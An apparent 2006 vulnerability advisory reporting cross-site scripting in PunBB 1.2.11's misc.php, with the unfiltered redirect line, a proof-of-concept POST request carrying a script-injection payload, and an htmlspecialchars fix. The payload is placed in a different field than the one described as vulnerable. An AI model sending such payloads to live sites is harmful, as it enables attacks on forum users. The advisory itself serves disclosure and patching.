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PunBB 1.2.11 Cross-Site Scripting

o.y.6hotmail.com
Date: Wed May 03 2006 - 10:48:31 CDT


PunBB 1.2.11 Cross-Site Scripting

        File name :- misc.php
    Action :- Send Email
    Line :- 123

[php]
redirect($_POST['redirect_url'], $lang_misc['E-mail sent redirect']);
[/php]

The $_POST['redirect_url'] = Unfilter Input

Exploit :-

Send POST Request

[code]
GET :-
        /PunBB/misc.php?email=2
POST :-
        form_sent=1&redirect_url=index.php&req_subject=test&req_message=test"><script>alert(1);</script>
[/code]

Fix :-

Replace The Line With :-

[php]
redirect(htmlspecialchars($_POST['redirect_url']), $lang_misc['E-mail sent redirect']);
[/php]